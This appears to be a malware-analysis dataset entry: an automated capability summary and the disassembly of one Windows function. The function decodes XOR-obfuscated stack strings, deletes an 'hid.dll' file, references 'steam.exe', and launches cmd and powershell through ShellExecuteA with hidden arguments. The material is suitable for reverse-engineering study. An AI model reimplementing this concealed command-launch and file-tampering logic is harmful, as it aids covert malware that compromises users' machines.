Function at 0x140061870
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x698]
sub rsp, 0x770
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400d7040]
xor rax, rsp
mov qword [rbp + 0x630], rax
xor esi, esi
mov qword [0x1400dae28], rsi
lea rax, [0x1400dae18]
cmp qword [0x1400dae30], 0xf
cmova rax, qword [0x1400dae18]
mov byte [rax], sil
mov dword [rsp + 0x40], 0x73726576
mov dword [rsp + 0x44], 0x6e6f69
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140061905
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.14007f6c0
movdqa xmm1, xmmword [0x1400c7520]
movdqu xmmword [rbp + 0x150], xmm1
mov dword [rbp + 0x160], 0xd0d0c4f6
mov dword [rbp + 0x164], 0xa7c8cacd
movdqa xmm7, xmmword [0x1400c5ff0]
movdqa xmm3, xmmword [0x1400c6990]
movdqa xmmword [rsp + 0x70], xmm3
mov eax, dword [0x1400c5ec0]
movd xmm6, eax
psubb xmm6, xmm3
movd eax, xmm1
movd xmm0, eax
xorps xmm0, xmm6
movd dword [rbp + 0x150], xmm0
mov eax, dword [0x1400c5ed0]
movd xmm2, eax
psubb xmm2, xmm3
movdqa xmmword [rbp + 0x50], xmm2
movd xmm0, dword [rbp + 0x154]
xorps xmm0, xmm2
movd dword [rbp + 0x154], xmm0
mov eax, dword [0x1400c5ee0]
movd xmm2, eax
psubb xmm2, xmm3
movdqa xmmword [rbp + 0x40], xmm2
movd xmm0, dword [rbp + 0x158]
xorps xmm0, xmm2
movd dword [rbp + 0x158], xmm0
mov eax, dword [0x1400c5ef0]
movd xmm2, eax
psubb xmm2, xmm3
movdqa xmmword [rbp - 0x60], xmm2
movd xmm0, dword [rbp + 0x15c]
xorps xmm0, xmm2
movd dword [rbp + 0x15c], xmm0
mov eax, dword [0x1400c5f00]
movd xmm2, eax
psubb xmm2, xmm3
movdqa xmmword [rbp + 0x60], xmm2
movd xmm0, dword [rbp + 0x160]
xorps xmm0, xmm2
movd dword [rbp + 0x160], xmm0
mov r12d, 0x14
mov ecx, r12d
lea rdx, [rbp + 0x164]
nop
lea eax, [rcx - 0x70]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x17
jb 0x140061a20
mov byte [rbp + 0x167], sil
lea r8, [0x1400dae78]
cmp qword [0x1400dae90], 0xf
cmova r8, qword [0x1400dae78]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x30], rax
lea rax, [0x1400c432e]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x190]
call fcn.140060b50
nop
mov dword [rsp + 0x40], 0xf6e7e3e4
movd xmm1, dword [rsp + 0x40]
movd edi, xmm6
mov dword [rsp + 0x60], edi
movd xmm0, edi
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
lea rax, [rbp + 0x170]
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x70], 0x67736d
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea rax, [rbp - 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140061ad6
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x170]
call fcn.14007f6c0
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x50]
call fcn.14007d1c0
nop
lea r8, [rbp + 0x170]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14005f260
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rax, rbx
inc rax
cmp byte [rdx + rax], 0
jne 0x140061b23
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140061b3a
mov rcx, qword [rcx]
cmp r8, rax
je 0x140061b44
xor r14b, r14b
jmp 0x140061b5e
test r8, r8
jne 0x140061b4e
mov r14b, 1
jmp 0x140061b5e
lea rdx, [rsp + 0x40]
call fcn.1400b1180
test eax, eax
sete r14b
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140061b9f
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061b9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140064296
call fcn.1400815a4
test r14b, r14b
je 0x140063ed1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rax
mov word [rbp - 0x70], 0x2c
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea rax, [rbp - 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140061bd4
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.14007f6c0
nop
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0xf2e6f0f4
movd xmm1, dword [rsp + 0x40]
movd xmm0, edi
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140061c40
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x130]
call fcn.14007f6c0
nop
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x70]
call fcn.14007d1c0
nop
lea r8, [rbp + 0x130]
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.14005f260
nop
lea r8, [rbp - 0x50]
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.14005f570
nop
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0xf
jbe 0x140061cd9
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061cd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006429c
call fcn.1400815a4
movdqa xmm0, xmmword [0x1400c5f90]
movdqu xmmword [rbp + 0xa8], xmm0
mov byte [rbp + 0x98], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140061d2b
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061d26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400642a2
call fcn.1400815a4
mov rax, qword [rbp + 0x178]
mov rdx, qword [rbp + 0x170]
sub rax, rdx
and rax, 0xffffffffffffffe0
cmp rax, 0x80
jne 0x140061d6b
add rdx, 0x60
lea rcx, [0x1400dae98]
cmp rcx, rdx
je 0x140061d6b
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140061d66
mov rdx, qword [rdx]
call fcn.14007dc60
lea r9, [0x1400d7e28]
cmp qword [0x1400d7e40], 0xf
cmova r9, qword [0x1400d7e28]
mov dword [rsp + 0x48], 0x685c7325
mov dword [rsp + 0x4c], 0x642e6469
mov word [rsp + 0x50], 0x6c6c
mov byte [rsp + 0x52], 0
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call fcn.14004b350
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
cmp qword [rcx + 0x18], 0xf
jbe 0x140061dd8
mov rcx, qword [rcx]
call fcn.1400963a4
mov edi, 0x10
mov r14d, 8
mov r15d, 0xc
movdqa xmm6, xmmword [0x1400c6080]
mov r13d, dword [rsp + 0x70]
cmp dword [rbp + 0x1c4], eax
je 0x140062a63
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x48], 0x61657473
mov dword [rsp + 0x4c], 0x78652e6d
mov word [rsp + 0x50], 0x65
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rsp + 0x48]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140061e42
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x50]
call fcn.14007f6c0
lea rcx, [rbp - 0x50]
call fcn.14005ec80
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c6e60]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0x8182ece9
mov dword [rbp + 0x164], 0xc6c3d1d7
mov dword [rbp + 0x168], 0xd3cf87c5
mov word [rbp + 0x16c], 0x8fc9
mov byte [rbp + 0x16e], 0xae
movd eax, xmm0
movd xmm1, eax
mov r8d, dword [rsp + 0x60]
movd xmm0, r8d
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm2, dword [rbp + 0x154]
movd xmm0, dword [rbp + 0x50]
xorps xmm2, xmm0
movd dword [rbp + 0x154], xmm2
movd xmm1, dword [rbp + 0x158]
movd xmm0, dword [rbp + 0x40]
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movd xmm2, dword [rbp + 0x15c]
movd xmm0, dword [rbp - 0x60]
xorps xmm2, xmm0
movd dword [rbp + 0x15c], xmm2
mov ecx, edi
lea rdx, [rbp + 0x160]
nop word [rax + rax]
lea eax, [rcx - 0x70]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x140061f20
mov byte [rbp + 0x16e], 0
mov dword [rbp - 0x70], 0x646d63
mov dword [rsp + 0x40], 0xfdf7e1ff
movd xmm1, dword [rsp + 0x40]
movd xmm0, r8d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x150]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c77e0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c71d0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x1400c7260]
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x90e2afaf
mov dword [rbp - 0x1c], 0xc7b6aab0
mov r9d, esi
mov r10d, r14d
lea r11, [rbp - 0x48]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, edi
add r10d, edi
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140061fd0
cmp r9d, 0x37
jae 0x140062113
mov eax, r9d
lea rcx, [rbp - 0x50]
add rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x37
jb 0x140062100
mov byte [rbp - 0x19], 0
lea r9, [rbp + 0x1f0]
lea r8, [rbp - 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x410]
call fcn.14004b350
mov dword [rsp + 0x48], 0x65776f70
mov dword [rsp + 0x4c], 0x65687372
mov word [rsp + 0x50], 0x6c6c
mov byte [rsp + 0x52], 0
mov dword [rsp + 0x40], 0xfdf7e1ff
movd xmm1, dword [rsp + 0x40]
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x410]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c6d30]
movdqu xmmword [rsp + 0x48], xmm0
movd eax, xmm0
movd xmm1, eax
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm2, dword [rsp + 0x4c]
movd xmm0, dword [rbp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x4c], xmm2
movd xmm1, dword [rsp + 0x50]
movd xmm0, dword [rbp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
mov ecx, r15d
lea rdx, [rsp + 0x54]
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x70]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140062200
mov byte [rsp + 0x57], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x300]
call fcn.14004b350
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
lea rax, [rbp + 0x1f0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062250
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x50]
call fcn.14007f6c0
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140062296
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x10]
call fcn.14007f6c0
movdqa xmm0, xmmword [0x1400c7420]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0xcdd5cee4
mov dword [rbp + 0x164], 0xc2cacce2
movd eax, xmm0
movd xmm1, eax
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm2, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x154]
xorps xmm2, xmm0
movd dword [rbp + 0x154], xmm2
movd xmm1, dword [rbp + 0x40]
movd xmm0, dword [rbp + 0x158]
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movd xmm2, dword [rbp - 0x60]
movd xmm0, dword [rbp + 0x15c]
xorps xmm2, xmm0
movd dword [rbp + 0x15c], xmm2
movd xmm1, dword [rbp + 0x60]
movd xmm0, dword [rbp + 0x160]
xorps xmm1, xmm0
movd dword [rbp + 0x160], xmm1
mov eax, dword [0x1400c5f10]
movd xmm2, eax
movd xmm0, r13d
psubb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov byte [rbp + 0x168], 0
lea rdx, [0x1400dae78]
cmp qword [0x1400dae90], 0xf
cmova rdx, qword [0x1400dae78]
lea rax, [rbp - 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x150]
call fcn.140060080
test al, al
jne 0x1400626af
movdqa xmm0, xmmword [0x1400c7600]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c6c30]
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x30], 0xb0
lea r9, [rbp - 0x48]
nop dword [rax]
nop word [rax + rax]
lea eax, [r14 - 5]
lea ecx, [r14 - 6]
lea edx, [r14 - 7]
lea r8d, [r14 - 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm3, xmm0
movd dword [r9 - 8], xmm3
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add r14d, 0x10
lea r9, [r9 + 0x10]
lea eax, [r14 - 8]
cmp eax, 0x20
jb 0x1400623f0
mov byte [rbp - 0x30], 0
movdqa xmm0, xmmword [0x1400c6aa0]
movdqu xmmword [rbp + 0x150], xmm0
mov dword [rbp + 0x160], 0x3f470d3c
mov dword [rbp + 0x164], 0x16024014
mov dword [rbp + 0x168], 0x8a0f1d40
mov byte [rbp + 0x16c], 0xac
movd eax, xmm0
movd xmm1, eax
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rbp + 0x150], xmm1
movd xmm2, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x154]
xorps xmm2, xmm0
movd dword [rbp + 0x154], xmm2
movd xmm1, dword [rbp + 0x40]
movd xmm0, dword [rbp + 0x158]
xorps xmm1, xmm0
movd dword [rbp + 0x158], xmm1
movd xmm2, dword [rbp - 0x60]
movd xmm0, dword [rbp + 0x15c]
xorps xmm2, xmm0
movd dword [rbp + 0x15c], xmm2
lea rcx, [rbp + 0x160]
nop word [rax + rax]
lea eax, [rdi - 0x70]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1c
jb 0x1400625d0
mov byte [rbp + 0x16c], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp + 0x150]
lea rcx, [rbp - 0x50]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140062607
mov r8, rbx
lea rcx, [0x1400dae18]
call fcn.14007dc60
nop
lea rcx, [rbp + 0x170]
call fcn.14007d5b0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14006266e
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062669
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140064284
call fcn.1400815a4
xor al, al
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.140080ef0
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x1f0]
call fcn.140094e54
mov rcx, qword [rbp + 0x170]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400626d3
mov rcx, qword [rcx]
call fcn.1400963a4
cmp dword [rbp + 0x1c4], eax
je 0x140062a63
movdqa xmm0, xmmword [0x1400c7600]
movdqu xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x1400c6c70]
movdqu xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x30], 0xd2dfd0d4
mov dword [rbp + 0x34], 0x96d2d0d3
mov byte [rbp + 0x38], 0xb8
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 0x18]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x140062720
cmp r9d, 0x28
jae 0x140062863
mov eax, r9d
lea rcx, [rbp + 0x10]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x28
jb 0x140062850
mov byte [rbp + 0x38], 0
movdqa xmm0, xmmword [0x1400c6aa0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x1400c6360]
movdqu xmmword [rbp - 0x40], xmm1
mov word [rbp - 0x30], 0x903f
mov byte [rbp - 0x2e], 0xb2
mov r9d, esi
lea r10, [rbp - 0x48]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x28
jb 0x140062892
cmp r9d, 0x22
jae 0x1400629d3
mov eax, r9d
lea rcx, [rbp - 0x50]
add rcx, rax
nop dword [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x22
jb 0x1400629c0
mov byte [rbp - 0x2e], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x10]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1400629f4
mov r8, rbx
lea rcx, [0x1400dae18]
call fcn.14007dc60
nop
lea rcx, [rbp + 0x170]
call fcn.14007d5b0
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14006266e
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062669
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140064284
jmp 0x140062669
lea r9, [0x1400d7e08]
cmp qword [0x1400d7e20], 0xf
cmova r9, qword [0x1400d7e08]
mov dword [rsp + 0x48], 0xc0cee2b5
mov dword [rsp + 0x4c], 0xfaf7f0e0
movd xmm1, dword [rsp + 0x48]
movd xmm0, dword [rsp + 0x60]
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm2, dword [rbp + 0x50]
movd xmm0, dword [rsp + 0x4c]
xorps xmm2, xmm0
movd dword [rsp + 0x4c], xmm2
mov byte [rsp + 0x50], 0
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x1f0]
call fcn.14004b350
mov edx, 2
lea rcx, [rbp + 0x1f0]
call fcn.140094664
test eax, eax
je 0x140062af2
xor edx, edx
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [0x1400d7e20], 0xf
lea r9, [0x1400d7e08]
cmova r9, qword [0x1400d7e08]
movdqa xmm0, xmmword [0x1400c7870]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0xd58cc0d4
mov word [rbp - 0x7c], 0xc3c0
mov byte [rbp - 0x7a], 0xa6
movd xmm1, dword [rsp + 0x60]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rsp + 0x74]
xorps xmm1, xmm0
movd dword [rsp + 0x74], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x78]
xorps xmm2, xmm0
